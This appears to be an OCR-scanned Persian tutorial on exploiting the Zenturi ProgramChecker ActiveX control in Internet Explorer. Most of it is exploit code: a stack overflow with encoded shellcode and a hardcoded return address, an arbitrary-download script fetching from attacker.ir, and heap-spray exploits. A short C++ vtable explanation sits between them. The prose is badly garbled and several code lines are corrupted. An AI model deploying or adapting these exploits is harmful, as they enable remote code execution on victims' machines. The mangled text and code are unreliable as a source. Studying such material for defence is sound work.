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SHE 3,55l (S6 4y b ol o) Aslsis 058l a8 0se SHE Handler gad e 5554

3 oBusl s = wls Sl Jds aaS ey luSIRet Overwrite |y 5 Overwrite

uf;)) IR )P,&m g\;ua‘ b rj.b uﬁa))¢.»\.2.~i‘z\-.v tv\.b‘dsHE Overwite U’:ﬁJjg'L‘c"};
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<object id=expl classid="clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5"
></object>

<input language=JdavaScript onclick=exploit () type=button value="Launch
Exploit"><script>

// this is part of ( Detecting and Exploiting ...) article by snake

// Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow
// it maby dos'nt work on your system , for various reasons ! such as
protections against buff attack and so on

function exploit () {

var shellcode =

unescape ("%eb%03%59%eb%05%e8%f8%ffSff3ff%49%49%49%49%49%49" +
"$48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +
"%$58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32"
"$41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d"
"%$38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e"
"%$6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b¥70%4£%77"
"%$68%6e%6b%73%61%71%30%65%51%6a%4b%72%69%4e%6b%36"
"$54%4e%60%45%51%4a%4e%46%51%6b%70%4£%69%4cs6Cc%6e"
"%$64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78"
"$42%48%60%7a%54%77%4b%52%74%66%44%34%44%62%55%59"
"%$75%6e%60%41%4F%36%44%45%51%6a%40b%53%56%4c%4b%46"
"%$6Cc%72%60b%4c%4b%53%61%37%6Cc%63%31%6a%4b%4e%6b%75"
"$4c%6Cc%4b%54%41%48%6b%4ds59%51%4c%51%34%34%44%4a"
"%$63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b"
"%$70%50%78%46%6Cc%6Cc%4b%63%70%44%4c%4c%4b%44%30%35"
"$4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b"
"%$30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%T1"
"$Af$44%71%60%46%33%50%66%36%4F%79%4c%38%6e%63%4f"
"%$30%71%60b%30%50%41%78%58%70%6c%4a%53%34%51%4£%33"
"%$58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63"
"$53%45%6a%33%6Cc%72%57%30%69%50%6e%62%44%70%6£%73"
"$47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70"
"%$6d%54%73%65%62%33%6Cc%30%63%41%71%70%6Cc%53%53%66"
"%$4e%31%75%74%38%70%65%77%70%43") ;

var bufer = unescape("%41");

var nop = unescape("%90");
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var ret = unescape("$%$7C%3E%$90%7C"); // return address , jmp ESI from
ntdll.dl1 --> 7C903E7C

while (bufer.length < 838) bufer += unescape("%41"); // fill buffer with
A charz

while (nop.length < 2000) nop += unescape("%$90") ;// NopSlides

var payload = bufer + ret + nop + shellcode ; // our payload

expl .DebugMsgLog (payload); // lunch the exploit!

}

</script>
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¢ weddegs Dl gy 2 3550 |, Program Checker Sl o5l ol Jle aslsl 53,050 5 ol
s kel ey oMSae I L

i 352 o).l DownloadFile () 2b 4 o5 515 ol udy ol sl o5 51 (S
s a8 G w5 O

Function DownloadFile (
ByVal bstrSrc As String ,
ByVal bstrDest As String ,
ByVal 10Options As Long ,
ByVal 10Options2 As Long

) As Long

i i gode g0 4 2\l LS5l Yoo i ple T F s o S sanlis oS il
5 aS ol olsST oo Llaiaad a1 85585 Gua s pols D sgme ol g a5 by il s
FRCH BN S [ VU P T IR P S S F P P B AU U
o oy 51 Sl o a3 sl S die 5 s ¢ 53 2 e el s Ll

: ﬂ)b el b Hs Sl b aaes

Movl src,des
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<object id=expl classid="clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5"
></object>

<input language=JdavaScript onclick=exploit () type=button value="Launch
Exploit">

<script>

// this is part of ( Detecting and Exploiting ...) article by snake

//Zenturi ProgramChecker ActiveX (sasatl.dll) Arbitrary File Download
function exploit () {

var src = "http://attacker.ir/attacker.file";
var dest = "C:/attacker.file ";
expl.DownloadFile(src,dest,0,0);

}

</script>
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Sub DeleteItem (
ByVal bstrOrigFile As String ,
ByVal bstrDestFile As String
)
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Sub NavigateUrl (
ByVal bstrUrl As String ,
ByVal bstrName As String ,
ByVal bstrWinProps As String
)
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Function SaveXmlFile (
ByVal 1Options As Long ,
ByVal bstrDest As String

) As String
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Virtual Table.f.\
dpe oy aS ¢L§3‘°-C-‘ (¢5—.4.T L) oSl obs sgme W u‘)j $sl> s (VT
e ¢ 0 2l VT 1T ol ot ol g ias Gl 3 pe 0l |3 3821 lau s

virtual Jsir o) S olad 4 ol cal sos s Glol 5 e ool ol 5 sslisad L
sl Jle 4 a2 e ol i I ¢ zausS Vpointer | s table pointer

:x\azfq,g,ﬁubjdx)aﬂjdum)’&%h}@,:

class Bl

{

public:
void fO() {}
virtual void f1() {}
int int_in_bl;

}s

class B2

{

public:
virtual void f2() {}
int int_in_b2;

Y

: (ue,j) wy\s )r'.uim J\.ﬁ\‘ YL’ 6\.::: w)j\s )‘ bbu.?.‘.ﬂ\ \.v D g}‘% [8 anrand

class D : public Bl, public B2

{

public:
void d() {}
void f2() {} // override B2::f2()
int int_in_d;

Y

P 1 5 S b S el 518 S 6 e sl 0055

B2 *b2 = new B2();
D *d = new D();

= VT 3 VTP 5, Shas agy adisls ), U s Sl 255 5 2ls WalS 58 i) b

:b2‘;§$TLwLﬁJ¢

b2:
+0: pointer to virtual method table of B2
+4: value of int_in b2

virtual method table of B2:
+0: B2::f2()
+4: B2::~B2()



+0:
+4:
+8:
+16:
+20:

pd oSl sl e

pointer to virtual method table of D (for Bl)
value of int_in_bl
pointer to virtual method table of D (for B2)
value of int_in_b2
value of int_in_d

virtual method table of D (for Bl):

+0:
+4:
+8:
+12:

Bl::f1¢()
D::~D()
D::d()
D::f2()

virtual method table of D (for B2):

+0:
+4

A

D::f2() // B2::f2() 1is overridden by D::f2()
D::~D()
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mov ecx, dword ptr [eax] ;Aﬁgaé)bfjb[)ij?Lﬁ)J
push eax 7 olesSol sl olsie & Joam S sslal Sl

call dword ptr [ecx+08h] ;Jsi= A ¢*éTj\@U‘355[}
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oject pointer --»  fake object --> fave wvtahle --> fake wirtual function
addr @ xxxx addr sty addr: ouraddr addr: ouraddr
data : yyyy data:ouraddr data: +0 ouraddr data: nop slide
+4 ouraddr shellcode
+8 ouraddr
4K
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<object id=expl classid="clsid:59DBDDA6-9A80-42A4-B824-
9BC50CC172F5"></object>

<input language=JavaScript onclick=exploit () type=button value="Launch
Exploit">

<script>

// this is part of ( Detecting and Exploiting ...) article by snake

// I use this codes to find out , what happen in memory when IE crash!
// attach browser ( IE) to debugger and then run the code!

function exploit () {

var buff_size = 1000;

var x = unescape("%41");

var buff = x;

while (buff.length < buff_size) buff += x;

expl .DebugMsgLog (buff) ;

}

</script>
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<object id=expl classid="clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5"
></object>

<input language=JavaScript onclick=exploit () type=button value="Launch
Exploit">

<script>



// this is part of ( Detecting and Exploiting ...) article by snake
// Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow (
Heap Spray Technique)

var shellcode = unescape/(
"$uE860%u0000%u0000%u815D%u06EDSU0000%u8A00%u1285%u0001%u0800"
"$u75CO0SUFEOF%u1285%u0001%uE800%u001A%u0000%uC009%ul074%u0AbA"
"$u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350"
"$u8D60%u02BD%u0001%u3100%uB0CO0%U6430%u008B%u408B%u8BOCEUlC40"
"$u008B%Uu408BSUFC08%uC689%u3F83%u7400%UuFF0F%u5637%u33E8%u0000"
"$u0900%u74C0%UAB2BSUECEB%UC783%u8304%u003F%ul774%uF889%u5040"
"$Uu95FF%u0102%u0000%uC009%ul274%uC689%uB60F%u0107%uEBC7%u31CD"
"$ud0C0%u4489%ulC24%uC361%uC031SuF6EBSU8B60%u2444%u0324%u3C40"
"$ud08D%u8D18%u6040%u388BSUFF09%u5274%u7C03%u2424%udF8B%u8B18"
"$u205F%u5C03%u2424%ud9FC%ud07C%u348B%u038B%u2474%u3124%u99C0"
"$u08AC%U74C0%UCL107%u07C2%uC201%uF4EB%SU543B%u2824%uE175%u578B"
"$u0324%u2454%u0F24%u04B7%uCl4A%u02E0%u578B%u031C%u2454%u8B24"
"$ul004%u4403%u2424%ud489%ulC24%uC261%u0008%uC031%uF4EBSUFFCIO"
"$ul0DF%$u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C"
"$ub652E%u6578%u9000") ;

var spraySlide = unescape("%u9090%u9090") ;
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<object id=expl classid="clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5"
></object>

<input language=JdavaScript onclick=exploit () type=button value="Launch
Exploit">

<script>

//this is part of ( Detecting and Exploiting ...) article by snake

//1 wrote this code for allocating Heap blocks!

//after allocating big heap blocks , the code call DebugMsgLog() method!
//this cause IE crash , and then you can browse the Heap gracefully :D
function exploit () {

var ooo = 'O';

var shellcodeSize = 300;

var FakeShellcode 000;

var HeapBlockSize = 0x400000;

var spraySlideSize = HeapBlockSize - shellcodeSize;

var spraySlide = unescape("%u9090%u9090") ;

var Heap = new Array();

while (FakeShellcode.length<shellcodeSize) FakeShellcode += 000;

while (spraySlide.length*2<spraySlideSize) spraySlide += spraySlide;
spraySlide = spraySlide.substring (0, spraySlideSize/2);

for (i=0;i< 20;i++) {

Heap[i] = spraySlide + FakeShellcode;

}

expl .DebugMsgLog (FakeShellcode+FakeShellcode+FakeShellcode+FakeShellcode)
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}

</script>
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var heapBlockSize = 0x400000;
var heapSprayToAddress = 0x0alalala;
var heapBlocks = (heapSprayToAddress+heapBlockSize) /heapBlockSize;
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var SizeOfHeapDataMoreover = 0x24;

var payLoadSize = (shellcode.length * 2);

var spraySlideSize = heapBlockSize - (payLoadSize +
SizeOfHeapDataMoreover) ;
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function getSpraySlide(spraySlide, spraySlideSize)

{

while (spraySlide.length*2<spraySlideSize)
{

spraySlide += spraySlide;

}

spraySlide = spraySlide.substring (0, spraySlideSize/2);
return (spraySlide);

}
spraySlide = getSpraySlide(spraySlide, spraySlideSize) ;
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var HeapMemory = new Array();

for (i=0;i<heapBlocks;i++)

{

HeapMemory[i] = spraySlide + shellcode;
}
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function exploit ()

{
var size_buff = 4000;
var X = unescape("%0a%0a%0a%0a") ;

while (x.length<size_buff) x += x;
expl .DebugMsgLog (x) ;
}
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<object id=expl classid="clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5"
></object>

<input language=JavaScript onclick=exploit () type=button value="Launch
Exploit">

<script>

// this is part of ( Detecting and Exploiting ...) article by snake

// Zenturi ProgramChecker ActiveX (sasatl.dll) Remote Buffer Overflow (
Heap Spray Technique)



var shellcode = unescape (
"$UuE860%u0000%u0000%u815D%u06ED%U0000%u8A00%u1285%u0001%u0800"
"$Uu75C0%UFEOF%ul1285%u0001%uE800%u001A%u0000%uC009%ul074%u0A6A"
"$u858D%u0114%u0000%UFF50%u0695%u0001%u6100%uC031%uC489%uC350"
"$u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%U8BOCEU1C40"
"$u008B%u408B%UFC08%uC689%u3F83%u7400%uFFOF%u5637%u33E8%u0000"
"$u0900%u74C0%uAB2BSUECEB%UC783%u8304%u003F%ul774%uF889%u5040"
"$Uu95FF%u0102%u0000%uC009%ul274%uC689%uB60F%u0107%uEBC7%u31CD"
"$ud0C0%udd89%ulC24%uC361%uC031%uF6EB%U8B60%Uu2444%u0324%u3C40"
"$ud08D%u8D18%u6040%u388BSUFF09%u5274%u7C03%u2424%u4F8B%u8B18"
"$u205F%u5C03%u2424%ud9FC%ud07C%u348B%u038B%u2474%u3124%u99C0"
"$u08AC%UT74C0%uC107%u07C2%uC201%uF4EB%U543B%u2824%uE175%u578B"
"$u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24"
"$ul1004%u4403%u2424%u4489%ulC24%uC261%u0008%uC031%uF4EBSUFFC9"
"$ul0DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C"
"$U652E%u6578%u9000") ;

var spraySlide = unescape("%u9090%u9090") ;

var heapBlockSize = 0x400000;

var heapSprayToAddress = 0x0a0alala;

var heapBlocks = (heapSprayToAddress+heapBlockSize) /heapBlockSize;
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var SizeOfHeapDataMoreover = 0x24;
var payLoadSize = (shellcode.length * 2);
var spraySlideSize = heapBlockSize - (payLoadSize +

SizeOfHeapDataMoreover) ;
function getSpraySlide(spraySlide, spraySlideSize) {
while (spraySlide.length*2<spraySlideSize) {
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring (0, spraySlideSize/2);
return (spraySlide);
}
spraySlide = getSpraySlide(spraySlide, spraySlideSize) ;
var HeapMemory = new Array();
for (i=0;i<heapBlocks;i++) {
HeapMemory[i] = spraySlide + shellcode;
}
function exploit () {
var size_buff = 4000;
var x = unescape("%0a%0a%0a%0a") ;
while (x.length<size_buff) x += x;
expl .DebugMsgLog (X) ;
}

</script>
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